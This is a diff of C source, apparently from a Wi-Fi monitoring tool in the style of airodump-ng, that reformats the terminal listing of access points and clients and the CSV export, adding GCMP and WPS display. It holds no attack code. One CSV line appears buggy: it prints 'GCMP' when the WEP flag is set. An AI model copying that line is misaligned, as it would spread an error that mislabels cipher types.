+			len = strlen(strbuf);
 
-	num_sta = 0;
+			if (G.singlechan)
+			{
+				snprintf(strbuf + len,
+						 sizeof(strbuf) - len,
+						 "  %3d %3d %8lu %8lu %4d",
+						 ap_cur->avg_power,
+						 ap_cur->rx_quality,
+						 ap_cur->nb_bcn,
+						 ap_cur->nb_data,
+						 ap_cur->nb_dataps);
+			}
+			else
+			{
+				snprintf(strbuf + len,
+						 sizeof(strbuf) - len,
+						 "  %3d %8lu %8lu %4d",
+						 ap_cur->avg_power,
+						 ap_cur->nb_bcn,
+						 ap_cur->nb_data,
+						 ap_cur->nb_dataps);
+			}
 
-	while( ap_cur != NULL )
-	{
-	    if( ap_cur->nb_pkt < 2 ||
-		time( NULL ) - ap_cur->tlast > G.berlin )
-	    {
-		ap_cur = ap_cur->prev;
-		continue;
-	    }
+			len = strlen(strbuf);
 
-	    if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0))
-	    {
-		ap_cur = ap_cur->prev;
-		continue;
-	    }
+			if (ap_cur->standard[0])
+			{
+				// In case of 802.11n or 802.11ac, QoS is pretty much implied
+				// Short or long preamble is not that useful anymore.
+				snprintf(strbuf + len,
+						 sizeof(strbuf) - len,
+						 " %3d %4d  ",
+						 ap_cur->channel,
+						 ap_cur->max_speed);
+			}
+			else
+			{
+				snprintf(strbuf + len,
+						 sizeof(strbuf) - len,
+						 " %3d %3d%c%c ",
+						 ap_cur->channel,
+						 ap_cur->max_speed,
+						 (ap_cur->security & STD_QOS) ? 'e' : ' ',
+						 (ap_cur->preamble) ? '.' : ' ');
+			}
 
-	    // Don't filter unassociated clients by ESSID
-	    if(memcmp(ap_cur->bssid, BROADCAST, 6) && is_filtered_essid(ap_cur->essid))
-	    {
-		ap_cur = ap_cur->prev;
-		continue;
-	    }
+			len = strlen(strbuf);
 
-	    if( nlines >= (ws_row-1) )
-		return;
+			if ((ap_cur->security & (STD_OPN | STD_WEP | STD_WPA | STD_WPA2))
+				== 0)
+				snprintf(strbuf + len, sizeof(strbuf) - len, "    ");
+			else if (ap_cur->security & STD_WPA2)
+				snprintf(strbuf + len, sizeof(strbuf) - len, "WPA2");
+			else if (ap_cur->security & STD_WPA)
+				snprintf(strbuf + len, sizeof(strbuf) - len, "WPA ");
+			else if (ap_cur->security & STD_WEP)
+				snprintf(strbuf + len, sizeof(strbuf) - len, "WEP ");
+			else if (ap_cur->security & STD_OPN)
+				snprintf(strbuf + len, sizeof(strbuf) - len, "OPN ");
+
+			strncat(strbuf, " ", sizeof(strbuf) - strlen(strbuf) - 1);
+
+			len = strlen(strbuf);
+
+			if ((ap_cur->security
+				 & (ENC_WEP | ENC_TKIP | ENC_WRAP | ENC_CCMP | ENC_WEP104
+					| ENC_WEP40
+					| ENC_GCMP))
+				== 0)
+				snprintf(strbuf + len, sizeof(strbuf) - len, "       ");
+			else if (ap_cur->security & ENC_CCMP)
+				snprintf(strbuf + len, sizeof(strbuf) - len, "CCMP   ");
+			else if (ap_cur->security & ENC_WRAP)
+				snprintf(strbuf + len, sizeof(strbuf) - len, "WRAP   ");
+			else if (ap_cur->security & ENC_TKIP)
+				snprintf(strbuf + len, sizeof(strbuf) - len, "TKIP   ");
+			else if (ap_cur->security & ENC_WEP104)
+				snprintf(strbuf + len, sizeof(strbuf) - len, "WEP104 ");
+			else if (ap_cur->security & ENC_WEP40)
+				snprintf(strbuf + len, sizeof(strbuf) - len, "WEP40  ");
+			else if (ap_cur->security & ENC_WEP)
+				snprintf(strbuf + len, sizeof(strbuf) - len, "WEP    ");
+			else if (ap_cur->security & ENC_GCMP)
+				snprintf(strbuf + len, sizeof(strbuf) - len, "GCMP   ");
+
+			len = strlen(strbuf);
+
+			if ((ap_cur->security & (AUTH_OPN | AUTH_PSK | AUTH_MGT)) == 0)
+				snprintf(strbuf + len, sizeof(strbuf) - len, "   ");
+			else if (ap_cur->security & AUTH_MGT)
+				snprintf(strbuf + len, sizeof(strbuf) - len, "MGT");
+			else if (ap_cur->security & AUTH_PSK)
+			{
+				if (ap_cur->security & STD_WEP)
+					snprintf(strbuf + len, sizeof(strbuf) - len, "SKA");
+				else
+					snprintf(strbuf + len, sizeof(strbuf) - len, "PSK");
+			}
+			else if (ap_cur->security & AUTH_OPN)
+				snprintf(strbuf + len, sizeof(strbuf) - len, "OPN");
 
-	    st_cur = G.st_end;
+			if (G.show_uptime)
+			{
+				snprintf(strbuf + len,
+						 sizeof(strbuf) - len,
+						 " %14s",
+						 parse_timestamp(ap_cur->timestamp));
+				len = strlen(strbuf);
+			}
+			else
+			{
+				len = strlen(strbuf);
+			}
 
-	    if(G.selection_ap && (memcmp(G.selected_bssid, ap_cur->bssid, 6)==0)) {
-		textstyle(TEXT_REVERSE);
-	    }
+			strbuf[ws_col - 1] = '\0';
 
-	    if(ap_cur->marked) {
-		textcolor_fg(ap_cur->marked_color);
-	    }
+			if (G.selection_ap && ((num_ap) == G.selected_ap))
+			{
+				if (G.mark_cur_ap)
+				{
+					if (ap_cur->marked == 0)
+					{
+						ap_cur->marked = 1;
+					}
+					else
+					{
+						ap_cur->marked_color++;
+						if (ap_cur->marked_color > (TEXT_MAX_COLOR - 1))
+						{
+							ap_cur->marked_color = 1;
+							ap_cur->marked = 0;
+						}
+					}
+					G.mark_cur_ap = 0;
+				}
+				textstyle(TEXT_REVERSE);
+				memcpy(G.selected_bssid, ap_cur->bssid, 6);
+			}
 
-	    while( st_cur != NULL )
-	    {
-		if( st_cur->base != ap_cur ||
-		    time( NULL ) - st_cur->tlast > G.berlin )
-		{
-		    st_cur = st_cur->prev;
-		    continue;
-		}
+			if (ap_cur->marked)
+			{
+				textcolor_fg(ap_cur->marked_color);
+			}
 
-		if( ! memcmp( ap_cur->bssid, BROADCAST, 6 ) && G.asso_client )
-		{
-		    st_cur = st_cur->prev;
-		    continue;
+			fprintf(stderr, "%s", strbuf);
+
+			if (ws_col > (columns_ap - 4))
+			{
+				memset(strbuf, 0, sizeof(strbuf));
+				if (G.show_wps)
+				{
+					if (ap_cur->wps.state != 0xFF)
+					{
+						if (ap_cur->wps.ap_setup_locked) // AP setup locked
+							snprintf(strbuf, sizeof(strbuf) - 1, "Locked");
+						else
+						{
+							snprintf(strbuf,
+									 sizeof(strbuf) - 1,
+									 "%u.%d",
+									 ap_cur->wps.version >> 4,
+									 ap_cur->wps.version & 0xF); // Version
+							if (ap_cur->wps.meth) // WPS Config Methods
+							{
+								char tbuf[64];
+								memset(tbuf, '\0', sizeof(tbuf));
+								int sep = 0;
+#define T(bit, name)                                                           \
+	do                                                                         \
+	{                                                                          \
+		if (ap_cur->wps.meth & (1 << (bit)))                                   \
+		{                                                                      \
+			if (sep) strcat(tbuf, ",");                                        \
+			sep = 1;                                                           \
+			strncat(tbuf, (name), (64 - strlen(tbuf)));                        \
+		}                                                                      \
+	} while (0)
+								T(0, "USB"); // USB method
+								T(1, "ETHER"); // Ethernet
+								T(2, "LAB"); // Label
+								T(3, "DISP"); // Display
+								T(4, "EXTNFC"); // Ext. NFC Token
+								T(5, "INTNFC"); // Int. NFC Token
+								T(6, "NFCINTF"); // NFC Interface
+								T(7, "PBC"); // Push Button
+								T(8, "KPAD"); // Keypad
+								snprintf(strbuf + strlen(strbuf),
+										 sizeof(strbuf) - strlen(strbuf),
+										 " %s",
+										 tbuf);
+#undef T
+							}
+						}
+					}
+					else
+					{
+						snprintf(strbuf, sizeof(strbuf) - 1, " ");
+					}
+					if (G.maxsize_wps_seen <= strlen(strbuf))
+						G.maxsize_wps_seen = (u_int) strlen(strbuf);
+					else // write spaces (32)
+						memset(strbuf + strlen(strbuf),
+							   32,
+							   (G.maxsize_wps_seen - strlen(strbuf)));
+				}
+				if (ap_cur->essid[0] != 0x00)
+				{
+					if (G.show_wps)
+						snprintf(strbuf + G.maxsize_wps_seen,
+								 sizeof(strbuf) - G.maxsize_wps_seen,
+								 "  %s",
+								 ap_cur->essid);
+					else
+						snprintf(
+							strbuf, sizeof(strbuf) - 1, "%s", ap_cur->essid);
+				}
+				else
+				{
+					if (G.show_wps)
+						snprintf(strbuf + G.maxsize_wps_seen,
+								 sizeof(strbuf) - G.maxsize_wps_seen,
+								 "  <length:%3d>%s",
+								 ap_cur->ssid_length,
+								 "\x00");
+					else
+						snprintf(strbuf,
+								 sizeof(strbuf) - 1,
+								 "<length:%3d>%s",
+								 ap_cur->ssid_length,
+								 "\x00");
+				}
+
+				if (G.show_manufacturer)
+				{
+
+					if (G.maxsize_essid_seen <= strlen(strbuf))
+						G.maxsize_essid_seen = (u_int) strlen(strbuf);
+					else // write spaces (32)
+						memset(strbuf + strlen(strbuf),
+							   32,
+							   (size_t)(G.maxsize_essid_seen - strlen(strbuf)));
+
+					if (ap_cur->manuf == NULL)
+						ap_cur->manuf = get_manufacturer(ap_cur->bssid[0],
+														 ap_cur->bssid[1],
+														 ap_cur->bssid[2]);
+
+					snprintf(strbuf + G.maxsize_essid_seen,
+							 sizeof(strbuf) - G.maxsize_essid_seen,
+							 "  %s",
+							 ap_cur->manuf);
+				}
+
+				// write spaces (32) until the end of column
+				memset(strbuf + strlen(strbuf),
+					   32,
+					   (size_t) ws_col - (columns_ap - 4));
+
+				// end the string at the end of the column
+				strbuf[ws_col - (columns_ap - 4)] = '\0';
+
+				fprintf(stderr, "  %s", strbuf);
+			}
+
+			fprintf(stderr, "\n");
+
+			if ((G.selection_ap && ((num_ap) == G.selected_ap))
+				|| (ap_cur->marked))
+			{
+				textstyle(TEXT_RESET);
+			}
+
+			ap_cur = ap_cur->prev;
 		}
 
-		num_sta++;
+		/* print some information about each detected station */
 
-		if(G.start_print_sta > num_sta)
-		    continue;
+		nlines += 3;
 
-		nlines++;
+		if (nlines >= (ws_row - 1)) return;
 
-		if( ws_row != 0 && nlines >= ws_row )
-		    return;
+		memset(strbuf, ' ', (size_t) ws_col - 1);
+		strbuf[ws_col - 1] = '\0';
+		fprintf(stderr, "%s\n", strbuf);
+	}
 
-		if( ! memcmp( ap_cur->bssid, BROADCAST, 6 ) )
-		    fprintf( stderr, " (not associated) " );
-		else
-		    fprintf( stderr, " %02X:%02X:%02X:%02X:%02X:%02X",
-			    ap_cur->bssid[0], ap_cur->bssid[1],
-			    ap_cur->bssid[2], ap_cur->bssid[3],
-			    ap_cur->bssid[4], ap_cur->bssid[5] );
+	if (G.show_sta)
+	{
+		memcpy(strbuf,
+			   " BSSID              STATION "
+			   "           PWR   Rate    Lost    Frames  Probes",
+			   columns_sta);
+		strbuf[ws_col - 1] = '\0';
+		fprintf(stderr, "%s\n", strbuf);
+
+		memset(strbuf, ' ', (size_t) ws_col - 1);
+		strbuf[ws_col - 1] = '\0';
+		fprintf(stderr, "%s\n", strbuf);
 
-		fprintf( stderr, "  %02X:%02X:%02X:%02X:%02X:%02X",
-			st_cur->stmac[0], st_cur->stmac[1],
-			st_cur->stmac[2], st_cur->stmac[3],
-			st_cur->stmac[4], st_cur->stmac[5] );
+		ap_cur = G.ap_end;
 
-		fprintf( stderr, "  %3d ", st_cur->power    );
-		fprintf( stderr, "  %2d", st_cur->rate_to/1000000  );
-		fprintf( stderr,  "%c", (st_cur->qos_fr_ds) ? 'e' : ' ');
-		fprintf( stderr,  "-%2d", st_cur->rate_from/1000000);
-		fprintf( stderr,  "%c", (st_cur->qos_to_ds) ? 'e' : ' ');
-		fprintf( stderr, "  %4d", st_cur->missed   );
-		fprintf( stderr, " %8ld", st_cur->nb_pkt   );
+		num_sta = 0;
 
-		if( ws_col > (columns_sta - 6) )
+		while (ap_cur != NULL)
 		{
-		    memset( ssid_list, 0, sizeof( ssid_list ) );
+			if (ap_cur->nb_pkt < 2 || time(NULL) - ap_cur->tlast > G.berlin)
+			{
+				ap_cur = ap_cur->prev;
+				continue;
+			}
 
-		    for( i = 0, n = 0; i < NB_PRB; i++ )
-		    {
-			if( st_cur->probes[i][0] == '\0' )
-			    continue;
+			if (ap_cur->security != 0 && G.f_encrypt != 0
+				&& ((ap_cur->security & G.f_encrypt) == 0))
+			{
+				ap_cur = ap_cur->prev;
+				continue;
+			}
 
-			snprintf( ssid_list + n, sizeof( ssid_list ) - n - 1,
-				"%c%s", ( i > 0 ) ? ',' : ' ',
-				st_cur->probes[i] );
+			// Don't filter unassociated clients by ESSID
+			if (memcmp(ap_cur->bssid, BROADCAST, 6) != 0
+				&& is_filtered_essid(ap_cur->essid))
+			{
+				ap_cur = ap_cur->prev;
+				continue;
+			}
 
-			n += ( 1 + strlen( st_cur->probes[i] ) );
+			if (nlines >= (ws_row - 1)) return;
 
-			if( n >= (int) sizeof( ssid_list ) )
-			    break;
-		    }
+			st_cur = G.st_end;
 
-		    memset( strbuf, 0, sizeof( strbuf ) );
-		    snprintf( strbuf,  sizeof( strbuf ) - 1,
-			    "%-256s", ssid_list );
-		    strbuf[ws_col - (columns_sta - 6)] = '\0';
-		    fprintf( stderr, " %s", strbuf );
-		}
+			if (G.selection_ap
+				&& (memcmp(G.selected_bssid, ap_cur->bssid, 6) == 0))
+			{
+				textstyle(TEXT_REVERSE);
+			}
 
-		fprintf( stderr, "\n" );
+			if (ap_cur->marked)
+			{
+				textcolor_fg(ap_cur->marked_color);
+			}
 
-		st_cur = st_cur->prev;
-	    }
+			while (st_cur != NULL)
+			{
+				if (st_cur->base != ap_cur
+					|| time(NULL) - st_cur->tlast > G.berlin)
+				{
+					st_cur = st_cur->prev;
+					continue;
+				}
+
+				if (!memcmp(ap_cur->bssid, BROADCAST, 6) && G.asso_client)
+				{
+					st_cur = st_cur->prev;
+					continue;
+				}
+
+				num_sta++;
+
+				if (G.start_print_sta > num_sta) continue;
+
+				nlines++;
 
-	    if( (G.selection_ap && (memcmp(G.selected_bssid, ap_cur->bssid, 6)==0)) || (ap_cur->marked) ) {
-		textstyle(TEXT_RESET);
-	    }
+				if (ws_row != 0 && nlines >= ws_row) return;
 
-	    ap_cur = ap_cur->prev;
+				if (!memcmp(ap_cur->bssid, BROADCAST, 6))
+					fprintf(stderr, " (not associated) ");
+				else
+					fprintf(stderr,
+							" %02X:%02X:%02X:%02X:%02X:%02X",
+							ap_cur->bssid[0],
+							ap_cur->bssid[1],
+							ap_cur->bssid[2],
+							ap_cur->bssid[3],
+							ap_cur->bssid[4],
+							ap_cur->bssid[5]);
+
+				fprintf(stderr,
+						"  %02X:%02X:%02X:%02X:%02X:%02X",
+						st_cur->stmac[0],
+						st_cur->stmac[1],
+						st_cur->stmac[2],
+						st_cur->stmac[3],
+						st_cur->stmac[4],
+						st_cur->stmac[5]);
+
+				fprintf(stderr, "  %3d ", st_cur->power);
+				fprintf(stderr, "  %2d", st_cur->rate_to / 1000000);
+				fprintf(stderr, "%c", (st_cur->qos_fr_ds) ? 'e' : ' ');
+				fprintf(stderr, "-%2d", st_cur->rate_from / 1000000);
+				fprintf(stderr, "%c", (st_cur->qos_to_ds) ? 'e' : ' ');
+				fprintf(stderr, "  %4d", st_cur->missed);
+				fprintf(stderr, " %8lu", st_cur->nb_pkt);
+
+				if (ws_col > (columns_sta - 6))
+				{
+					memset(ssid_list, 0, sizeof(ssid_list));
+
+					for (i = 0, n = 0; i < NB_PRB; i++)
+					{
+						if (st_cur->probes[i][0] == '\0') continue;
+
+						snprintf(ssid_list + n,
+								 sizeof(ssid_list) - n - 1,
+								 "%c%s",
+								 (i > 0) ? ',' : ' ',
+								 st_cur->probes[i]);
+
+						n += (1 + strlen(st_cur->probes[i]));
+
+						if (n >= (int) sizeof(ssid_list)) break;
+					}
+
+					memset(strbuf, 0, sizeof(strbuf));
+					snprintf(strbuf, sizeof(strbuf) - 1, "%-256s", ssid_list)
+							< 0
+						? abort()
+						: (void) 0;
+					strbuf[ws_col - (columns_sta - 6)] = '\0';
+					fprintf(stderr, " %s", strbuf);
+				}
+
+				fprintf(stderr, "\n");
+
+				st_cur = st_cur->prev;
+			}
+
+			if ((G.selection_ap
+				 && (memcmp(G.selected_bssid, ap_cur->bssid, 6) == 0))
+				|| (ap_cur->marked))
+			{
+				textstyle(TEXT_RESET);
+			}
+
+			ap_cur = ap_cur->prev;
+		}
 	}
-    }
 
-    if(G.show_ack)
-    {
-        /* print some informations about each unknown station */
+	if (G.show_ack)
+	{
+		/* print some information about each unknown station */
 
-        nlines += 3;
+		nlines += 3;
 
-        if( nlines >= (ws_row-1) )
-            return;
+		if (nlines >= (ws_row - 1)) return;
 
-        memset( strbuf, ' ', ws_col - 1 );
-        strbuf[ws_col - 1] = '\0';
-        fprintf( stderr, "%s\n", strbuf );
+		memset(strbuf, ' ', (size_t) ws_col - 1);
+		strbuf[ws_col - 1] = '\0';
+		fprintf(stderr, "%s\n", strbuf);
 
-        memcpy( strbuf, " MAC       "
-                "          CH PWR    ACK ACK/s    CTS RTS_RX RTS_TX  OTHER", columns_na );
-        strbuf[ws_col - 1] = '\0';
-        fprintf( stderr, "%s\n", strbuf );
+		memcpy(strbuf,
+			   " MAC       "
+			   "          CH PWR    ACK ACK/s    CTS RTS_RX RTS_TX  OTHER",
+			   (size_t) columns_na);
+		strbuf[ws_col - 1] = '\0';
+		fprintf(stderr, "%s\n", strbuf);
 
-        memset( strbuf, ' ', ws_col - 1 );
-        strbuf[ws_col - 1] = '\0';
-        fprintf( stderr, "%s\n", strbuf );
+		memset(strbuf, ' ', (size_t) ws_col - 1);
+		strbuf[ws_col - 1] = '\0';
+		fprintf(stderr, "%s\n", strbuf);
 
-        na_cur = G.na_1st;
+		na_cur = G.na_1st;
 
-        while( na_cur != NULL )
-        {
-            if( time( NULL ) - na_cur->tlast > 120 )
-            {
-                na_cur = na_cur->next;
-                continue;
-            }
+		while (na_cur != NULL)
+		{
+			if (time(NULL) - na_cur->tlast > 120)
+			{
+				na_cur = na_cur->next;
+				continue;
+			}
 
-            if( nlines >= (ws_row-1) )
-                return;
+			if (nlines >= (ws_row - 1)) return;
 
-            nlines++;
+			nlines++;
 
-            if( ws_row != 0 && nlines >= ws_row )
-                return;
+			if (ws_row != 0 && nlines >= ws_row) return;
 
-            fprintf( stderr, " %02X:%02X:%02X:%02X:%02X:%02X",
-                    na_cur->namac[0], na_cur->namac[1],
-                    na_cur->namac[2], na_cur->namac[3],
-                    na_cur->namac[4], na_cur->namac[5] );
+			fprintf(stderr,
+					" %02X:%02X:%02X:%02X:%02X:%02X",
+					na_cur->namac[0],
+					na_cur->namac[1],
+					na_cur->namac[2],
+					na_cur->namac[3],
+					na_cur->namac[4],
+					na_cur->namac[5]);
 
-            fprintf( stderr, "  %3d", na_cur->channel  );
-            fprintf( stderr, " %3d", na_cur->power  );
-            fprintf( stderr, " %6d", na_cur->ack );
-            fprintf( stderr, "  %4d", na_cur->ackps );
-            fprintf( stderr, " %6d", na_cur->cts );
-            fprintf( stderr, " %6d", na_cur->rts_r );
-            fprintf( stderr, " %6d", na_cur->rts_t );
-            fprintf( stderr, " %6d", na_cur->other );
+			fprintf(stderr, "  %3d", na_cur->channel);
+			fprintf(stderr, " %3d", na_cur->power);
+			fprintf(stderr, " %6d", na_cur->ack);
+			fprintf(stderr, "  %4d", na_cur->ackps);
+			fprintf(stderr, " %6d", na_cur->cts);
+			fprintf(stderr, " %6d", na_cur->rts_r);
+			fprintf(stderr, " %6d", na_cur->rts_t);
+			fprintf(stderr, " %6d", na_cur->other);
 
-            fprintf( stderr, "\n" );
+			fprintf(stderr, "\n");
 
-            na_cur = na_cur->next;
-        }
-    }
+			na_cur = na_cur->next;
+		}
+	}
 }
 
-char * format_text_for_csv( const unsigned char * input, int len)
+static char * format_text_for_csv(const unsigned char * input, int len)
 {
 	// Unix style encoding
-	char * ret;
+	char *ret, *rret;
 	int i, pos, contains_space_end;
 	const char * hex_table = "0123456789ABCDEF";
 
@@ -3688,25 +4319,26 @@
 
 	if (len == 0 || input == NULL)
 	{
-		ret = (char*)malloc(1);
+		ret = (char *) malloc(1);
 		ret[0] = 0;
 		return ret;
 	}
 
 	pos = 0;
-	contains_space_end = (input[0] == ' ') || input[len-1] == ' ';
+	contains_space_end = (input[0] == ' ') || input[len - 1] == ' ';
 
 	// Make sure to have enough memory for all that stuff
-	ret = (char *)malloc((len*4)+1+2);
+	ret = (char *) malloc((len * 4) + 1 + 2);
 
 	if (contains_space_end)
 	{
 		ret[pos++] = '"';
 	}
 
-	for (i=0; i < len; i++)
+	for (i = 0; i < len; i++)
 	{
-		if (!isprint(input[i]) || input[i] == ',' || input[i] == '\\' || input[i] == '"')
+		if (!isprint(input[i]) || input[i] == ',' || input[i] == '\\'
+			|| input[i] == '"')
 		{
 			ret[pos++] = '\\';
 		}
@@ -3717,13 +4349,14 @@
 		}
 		else if (input[i] == '\n' || input[i] == '\r' || input[i] == '\t')
 		{
-			ret[pos++] = (input[i] == '\n') ? 'n' : (input[i] == '\t') ? 't' : 'r';
+			ret[pos++]
+				= (input[i] == '\n') ? 'n' : (input[i] == '\t') ? 't' : 'r';
 		}
 		else
 		{
 			ret[pos++] = 'x';
-			ret[pos++] = hex_table[input[i]/16];
-			ret[pos++] = hex_table[input[i]%16];
+			ret[pos++] = hex_table[input[i] / 16];
+			ret[pos++] = hex_table[input[i] % 16];
 		}
 	}
 
@@ -3734,231 +4367,285 @@
 
 	ret[pos++] = '\0';
 
-	ret = realloc(ret, pos);
+	rret = realloc(ret, pos);
 
-	return ret;
+	return (rret) ? rret : ret;
 }
 
-int dump_write_csv( void )
+static int dump_write_csv(void)
 {
-    int i, n, probes_written;
-    struct tm *ltime;
-    struct AP_info *ap_cur;
-    struct ST_info *st_cur;
-    char * temp;
-
-    if (! G.record_data || !G.output_format_csv)
-    	return 0;
-
-    fseek( G.f_txt, 0, SEEK_SET );
-
-    fprintf( G.f_txt,
-        "\r\nBSSID, First time seen, Last time seen, channel, Speed, "
-        "Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key\r\n" );
-
-    ap_cur = G.ap_1st;
-
-    while( ap_cur != NULL )
-    {
-        if( memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 )
-        {
-            ap_cur = ap_cur->next;
-            continue;
-        }
-
-        if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0))
-        {
-            ap_cur = ap_cur->next;
-            continue;
-        }
-
-        if(is_filtered_essid(ap_cur->essid))
-        {
-            ap_cur = ap_cur->next;
-            continue;
-        }
-
-        fprintf( G.f_txt, "%02X:%02X:%02X:%02X:%02X:%02X, ",
-                 ap_cur->bssid[0], ap_cur->bssid[1],
-                 ap_cur->bssid[2], ap_cur->bssid[3],
-                 ap_cur->bssid[4], ap_cur->bssid[5] );
-
-        ltime = localtime( &ap_cur->tinit );
-
-        fprintf( G.f_txt, "%04d-%02d-%02d %02d:%02d:%02d, ",
-                 1900 + ltime->tm_year, 1 + ltime->tm_mon,
-                 ltime->tm_mday, ltime->tm_hour,
-                 ltime->tm_min,  ltime->tm_sec );
-
-        ltime = localtime( &ap_cur->tlast );
-
-        fprintf( G.f_txt, "%04d-%02d-%02d %02d:%02d:%02d, ",
-                 1900 + ltime->tm_year, 1 + ltime->tm_mon,
-                 ltime->tm_mday, ltime->tm_hour,
-                 ltime->tm_min,  ltime->tm_sec );
-
-        fprintf( G.f_txt, "%2d, %3d,",
-                 ap_cur->channel,
-                 ap_cur->max_speed );
-
-        if( (ap_cur->security & (STD_OPN|STD_WEP|STD_WPA|STD_WPA2)) == 0) fprintf( G.f_txt, " " );
-        else
-        {
-            if( ap_cur->security & STD_WPA2 ) fprintf( G.f_txt, " WPA2" );
-            if( ap_cur->security & STD_WPA  ) fprintf( G.f_txt, " WPA" );
-            if( ap_cur->security & STD_WEP  ) fprintf( G.f_txt, " WEP" );
-            if( ap_cur->security & STD_OPN  ) fprintf( G.f_txt, " OPN" );
-        }
-
-        fprintf( G.f_txt, ",");
-
-        if( (ap_cur->security & (ENC_WEP|ENC_TKIP|ENC_WRAP|ENC_CCMP|ENC_WEP104|ENC_WEP40)) == 0 ) fprintf( G.f_txt, " ");
-        else
-        {
-            if( ap_cur->security & ENC_CCMP   ) fprintf( G.f_txt, " CCMP");
-            if( ap_cur->security & ENC_WRAP   ) fprintf( G.f_txt, " WRAP");
-            if( ap_cur->security & ENC_TKIP   ) fprintf( G.f_txt, " TKIP");
-            if( ap_cur->security & ENC_WEP104 ) fprintf( G.f_txt, " WEP104");
-            if( ap_cur->security & ENC_WEP40  ) fprintf( G.f_txt, " WEP40");
-            if( ap_cur->security & ENC_WEP    ) fprintf( G.f_txt, " WEP");
-        }
-
-        fprintf( G.f_txt, ",");
-
-        if( (ap_cur->security & (AUTH_OPN|AUTH_PSK|AUTH_MGT)) == 0 ) fprintf( G.f_txt, "   ");
-        else
-        {
-            if( ap_cur->security & AUTH_MGT   ) fprintf( G.f_txt, " MGT");
-            if( ap_cur->security & AUTH_PSK   )
+	int i, n, probes_written;
+	struct tm * ltime;
+	struct AP_info * ap_cur;
+	struct ST_info * st_cur;
+	char * temp;
+
+	if (!G.record_data || !G.output_format_csv) return 0;
+
+	fseek(G.f_txt, 0, SEEK_SET);
+
+	fprintf(G.f_txt,
+			"\r\nBSSID, First time seen, Last time seen, channel, Speed, "
+			"Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, "
+			"ID-length, ESSID, Key\r\n");
+
+	ap_cur = G.ap_1st;
+
+	while (ap_cur != NULL)
+	{
+		if (memcmp(ap_cur->bssid, BROADCAST, 6) == 0)
+		{
+			ap_cur = ap_cur->next;
+			continue;
+		}
+
+		if (ap_cur->security != 0 && G.f_encrypt != 0
+			&& ((ap_cur->security & G.f_encrypt) == 0))
+		{
+			ap_cur = ap_cur->next;
+			continue;
+		}
+
+		if (is_filtered_essid(ap_cur->essid))
+		{
+			ap_cur = ap_cur->next;
+			continue;
+		}
+
+		fprintf(G.f_txt,
+				"%02X:%02X:%02X:%02X:%02X:%02X, ",
+				ap_cur->bssid[0],
+				ap_cur->bssid[1],
+				ap_cur->bssid[2],
+				ap_cur->bssid[3],
+				ap_cur->bssid[4],
+				ap_cur->bssid[5]);
+
+		ltime = localtime(&ap_cur->tinit);
+
+		fprintf(G.f_txt,
+				"%04d-%02d-%02d %02d:%02d:%02d, ",
+				1900 + ltime->tm_year,
+				1 + ltime->tm_mon,
+				ltime->tm_mday,
+				ltime->tm_hour,
+				ltime->tm_min,
+				ltime->tm_sec);
+
+		ltime = localtime(&ap_cur->tlast);
+
+		fprintf(G.f_txt,
+				"%04d-%02d-%02d %02d:%02d:%02d, ",
+				1900 + ltime->tm_year,
+				1 + ltime->tm_mon,
+				ltime->tm_mday,
+				ltime->tm_hour,
+				ltime->tm_min,
+				ltime->tm_sec);
+
+		fprintf(G.f_txt, "%2d, %3d,", ap_cur->channel, ap_cur->max_speed);
+
+		if ((ap_cur->security & (STD_OPN | STD_WEP | STD_WPA | STD_WPA2)) == 0)
+			fprintf(G.f_txt, " ");
+		else
+		{
+			if (ap_cur->security & STD_WPA2) fprintf(G.f_txt, " WPA2");
+			if (ap_cur->security & STD_WPA) fprintf(G.f_txt, " WPA");
+			if (ap_cur->security & STD_WEP) fprintf(G.f_txt, " WEP");
+			if (ap_cur->security & STD_OPN) fprintf(G.f_txt, " OPN");
+		}
+
+		fprintf(G.f_txt, ",");
+
+		if ((ap_cur->security
+			 & (ENC_WEP | ENC_TKIP | ENC_WRAP | ENC_CCMP | ENC_WEP104
+				| ENC_WEP40
+				| ENC_GCMP))
+			== 0)
+			fprintf(G.f_txt, " ");
+		else
+		{
+			if (ap_cur->security & ENC_CCMP) fprintf(G.f_txt, " CCMP");
+			if (ap_cur->security & ENC_WRAP) fprintf(G.f_txt, " WRAP");
+			if (ap_cur->security & ENC_TKIP) fprintf(G.f_txt, " TKIP");
+			if (ap_cur->security & ENC_WEP104) fprintf(G.f_txt, " WEP104");
+			if (ap_cur->security & ENC_WEP40) fprintf(G.f_txt, " WEP40");
+			if (ap_cur->security & ENC_WEP) fprintf(G.f_txt, " WEP");
+			if (ap_cur->security & ENC_WEP) fprintf(G.f_txt, " GCMP");
+		}
+
+		fprintf(G.f_txt, ",");
+
+		if ((ap_cur->security & (AUTH_OPN | AUTH_PSK | AUTH_MGT)) == 0)
+			fprintf(G.f_txt, "   ");
+		else
+		{
+			if (ap_cur->security & AUTH_MGT) fprintf(G.f_txt, " MGT");
+			if (ap_cur->security & AUTH_PSK)
 			{
-				if( ap_cur->security & STD_WEP )
-					fprintf( G.f_txt, "SKA");
+				if (ap_cur->security & STD_WEP)
+					fprintf(G.f_txt, " SKA");
 				else
-					fprintf( G.f_txt, "PSK");
+					fprintf(G.f_txt, " PSK");
 			}
-            if( ap_cur->security & AUTH_OPN   ) fprintf( G.f_txt, " OPN");
-        }
+			if (ap_cur->security & AUTH_OPN) fprintf(G.f_txt, " OPN");
+		}
 
-        fprintf( G.f_txt, ", %3d, %8ld, %8ld, ",
-                 ap_cur->avg_power,
-                 ap_cur->nb_bcn,
-                 ap_cur->nb_data );
-
-        fprintf( G.f_txt, "%3d.%3d.%3d.%3d, ",
-                 ap_cur->lanip[0], ap_cur->lanip[1],
-                 ap_cur->lanip[2], ap_cur->lanip[3] );
-
-        fprintf( G.f_txt, "%3d, ", ap_cur->ssid_length);
-
-	temp = format_text_for_csv(ap_cur->essid, ap_cur->ssid_length);
-        fprintf( G.f_txt, "%s, ", temp );
-	free(temp);
-
-        if(ap_cur->key != NULL)
-        {
-            for(i=0; i<(int)strlen(ap_cur->key); i++)
-            {
-                fprintf( G.f_txt, "%02X", ap_cur->key[i]);
-                if(i<(int)(strlen(ap_cur->key)-1))
-                    fprintf( G.f_txt, ":");
-            }
-        }
-
-        fprintf( G.f_txt, "\r\n");
-
-        ap_cur = ap_cur->next;
-    }
-
-    fprintf( G.f_txt,
